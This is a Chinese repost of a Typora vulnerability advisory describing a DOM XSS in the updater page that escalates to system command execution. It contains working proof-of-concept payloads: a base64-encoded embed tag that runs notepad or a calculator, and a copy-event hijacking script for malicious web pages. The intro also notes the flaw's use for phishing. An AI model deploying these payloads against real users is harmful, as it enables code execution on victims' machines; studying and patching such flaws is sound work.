原文在这
以下为机翻,发布用以个人学习方便之需。
此漏洞在钓鱼、反制等领域都有一定意义。
产品概述:
Typora 是一款流行的跨平台 Markdown 编辑器,允许用户创建和编辑具有实时预览功能的 Markdown 文件。它支持各种格式选项,例如标题、粗体、斜体等。Typora 还允许用户将 Markdown 文件导出为不同的格式,例如 PDF、HTML 和 Word。
适用于 Windows/Linux 的 Typora 基于 Electron 构建,该框架使其能够在各种操作系统上无缝运行。Markdown 编辑器支持 HTML 标签和嵌入外部网页。攻击者可以利用该漏洞通过在 Markdown 编辑器中加载精心设计的 URL 来执行任意 JavaScript 代码和系统命令。
漏洞摘要:
Windows/Linux 版 Typora 中存在基于 DOM 的 XSS,允许任意 JavaScript 代码在 Typora 主窗口上下文中运行。如果用户在 Typora 中打开恶意 Markdown 文件,或者从恶意网页复制文本并将其粘贴到 Typora 中,则可以利用此漏洞。
漏洞详细信息:
已在以下位置发现基于 DOM 的 XSS Typora/resources/updater/updater.html
:
<div class="btn-group">
<div id="skip-this-version-btn-group" style="flex-grow: 2; min-height: 10px;min-width: 10px;">
<button onClick="onSkipUpdate()" data-label="1" >Skip This Version</button>
</div>
<button onClick="onCancelUpdate()" data-label="2" >Remind Me Later</button>
<button class="btn-primary" onClick="onDownloadUpdate()" data-label="3" >Download Update</button>
</div>
<script type="text/javascript">
// ...
var labels = JSON.parse(decodeURIComponent(/[?&]labels=([^&]+)/.exec(window.location.search)[1])); // [1]
document.querySelector("#sum").innerText = labels[4] + " " + labels[5].replace("$1", newVersion).replace("$2", curVersion);
document.querySelectorAll("[data-label]").forEach(function(dom){
dom.innerHTML = labels[dom.getAttribute("data-label") - 0]; // [2]
});
// ...
</script>
在上面的代码片段中,变量labels
是从location.search
at中提取的[1]
,然后分配给具有at 属性的innerHTML
元素。data-label``[2]
这是一个将<input>
标签注入 DOM 的 PoC:
updater.html?curVersion=1&newVersion=2&releaseNoteLink=3&hideAutoUpdates=false&labels=["<input%20value=test>","22","33","44","55","66","77"]
Typora 注册了一个文件处理程序typora://
来加载本地资源。例如,主窗口的 URL 是typora://app/typemark/window.html
,实际文件是从 加载的[Typora Installation Absolute Path]/resources/window.html
。
攻击者可以<embed>
通过将src
属性设置为 来将存在漏洞的 updater.html 加载到标签内typora://app/typemark/updater/updater.html
。在这种情况下,typora://app/typemark/window.html
在主窗口中加载的内容和嵌入的更新程序页面被视为同源。因此,更新程序能够访问暴露于主窗口的特权接口,例如reqnode
.
通过嵌入带有精心设计的 DOM-XSS 负载的 updater.html URL,攻击者能够在主窗口上执行任意 JavaScript 代码。此外,攻击者可以使用reqnode
主窗口中的特权界面来访问节点模块child_process
并执行任意系统命令。
利用条件:
可以通过诱使受害者
- 在 Typora 中打开恶意 Markdown 文件
- 从恶意网页复制文本并将其粘贴到 Typora 中来利用此漏洞。
POC:
我们已尽力使 PoC 尽可能便携。以下 HTML 代码是演示此任意文件泄露漏洞的 PoC:
<embed src="typora://app/typemark/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=[%22%22,%22%3csvg%2fonload=top.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoKHtXaW4zMjogJ25vdGVwYWQgJVdJTkRJUiUvd2luLmluaScsIExpbnV4OiAnZ25vbWUtY2FsY3VsYXRvciAtZSAiVHlwb3JhIFJDRSBQb0MiJ30pW25hdmlnYXRvci5wbGF0Zm9ybS5zdWJzdHIoMCw1KV0p'))><%2fsvg>%22,%22%22,%22%22,%22%22,%22%22]"></embed>
PoC中的base64编码部分被解码为以下内容:
reqnode('child_process').exec(({Win32: 'notepad %WINDIR%/win.ini', Linux: 'gnome-calculator -e "Typora RCE PoC"'})[navigator.platform.substr(0,5)])
当这个 PoC 加载到 Typora 中时,它将:
- 使用 DOM-XSS 负载加载 updater.html
- 有效负载在主窗口上执行 JavaScript 代码
- 执行系统命令:
notepad
在Windows上,或gnome-calculator
在Linux上
攻击场景:
场景一:打开恶意markdown文件
攻击者可以在 Markdown 文件中注入嵌入标签,并说服受害者在 Typora 中打开它以触发有效负载。
我们附上poc/typora-1.5.12-rce.md
这份报告以供演示。在受影响的 Typora 版本中打开文件以验证此漏洞。
以下是在 Windows 和 Ubuntu 上展示此场景的 GIF:
场景 2:从网页复制并粘贴
copy
攻击者可以制作恶意网页并使用以下代码来挂钩该事件:
<script>
document.addEventListener('copy',e=>{
e.preventDefault();
let payload = atob('JiN4M2M7ZW1iZWQgc3R5bGU9ImhlaWdodDowOyIgc3JjPSJ0eXBvcmE6Ly9hcHAvdHlwZW1hcmsvdXBkYXRlci91cGRhdGVyLmh0bWw/Y3VyVmVyc2lvbj0xMTEmbmV3VmVyc2lvbj0yMjImcmVsZWFzZU5vdGVMaW5rPTMzMyZoaWRlQXV0b1VwZGF0ZXM9ZmFsc2UmbGFiZWxzPVslMjIlMjIsJTIyJTNjc3ZnJTJmb25sb2FkPXRvcC5ldmFsKGF0b2IoJ2NtVnhibTlrWlNnblkyaHBiR1JmY0hKdlkyVnpjeWNwTG1WNFpXTW9LSHRYYVc0ek1qb2dKMjV2ZEdWd1lXUWdKVmRKVGtSSlVpVXZkMmx1TG1sdWFTY3NJRXhwYm5WNE9pQW5aMjV2YldVdFkyRnNZM1ZzWVhSdmNpQXRaU0FpVkhsd2IzSmhJRkpEUlNCUWIwTWlKMzBwVzI1aGRtbG5ZWFJ2Y2k1d2JHRjBabTl5YlM1emRXSnpkSElvTUN3MUtWMHAnKSk+PCUyZnN2Zz4lMjIsJTIyJTIyLCUyMiUyMiwlMjIlMjIsJTIyJTIyXSI+JiN4MGQ7JiN4MGQ7');
e.clipboardData.setData('text/markhtml', `\x20\x0d\x0a\x0d\x0a` + payload + window.getSelection());
console.log(payload + window.getSelection())
})
</script>
当受害者从该页面复制文本时,有效负载会添加到复制的内容中,并在粘贴到 Typora 时触发。
我们已附上poc/rce-cp.html
此场景的 PoC。现场版本也可以在这里找到。
补充笔记:
- 攻击者可以在
<embed>
标签上设置自定义样式,以使漏洞利用变得不那么引人注目。例如,height:0;
在场景2 PoC中用于隐藏嵌入的网页。
建议的缓解措施:
建议通过设置innerText
而不是 来更新 HTML 元素innerHTML
。
对于使用受此漏洞影响的版本的最终用户,建议(1)不要在 Typora 中打开任何不受信任的 Markdown 文件,(2)应避免从不受信任的网页复制文本然后将其粘贴到 Typora 中。
经典复现:
windows改成了弹计算器版本。
<embed src="typora://app/typemark/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=[%22%22,%22%3csvg%2fonload=top.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoKHtXaW4zMjogJ2NhbGMnLCBMaW51eDogJ2dub21lLWNhbGN1bGF0b3IgLWUgIlR5cG9yYSBSQ0UgUG9DIid9KVtuYXZpZ2F0b3IucGxhdGZvcm0uc3Vic3RyKDAsNSldKQ=='))><%2fsvg>%22,%22%22,%22%22,%22%22,%22%22]"></embed>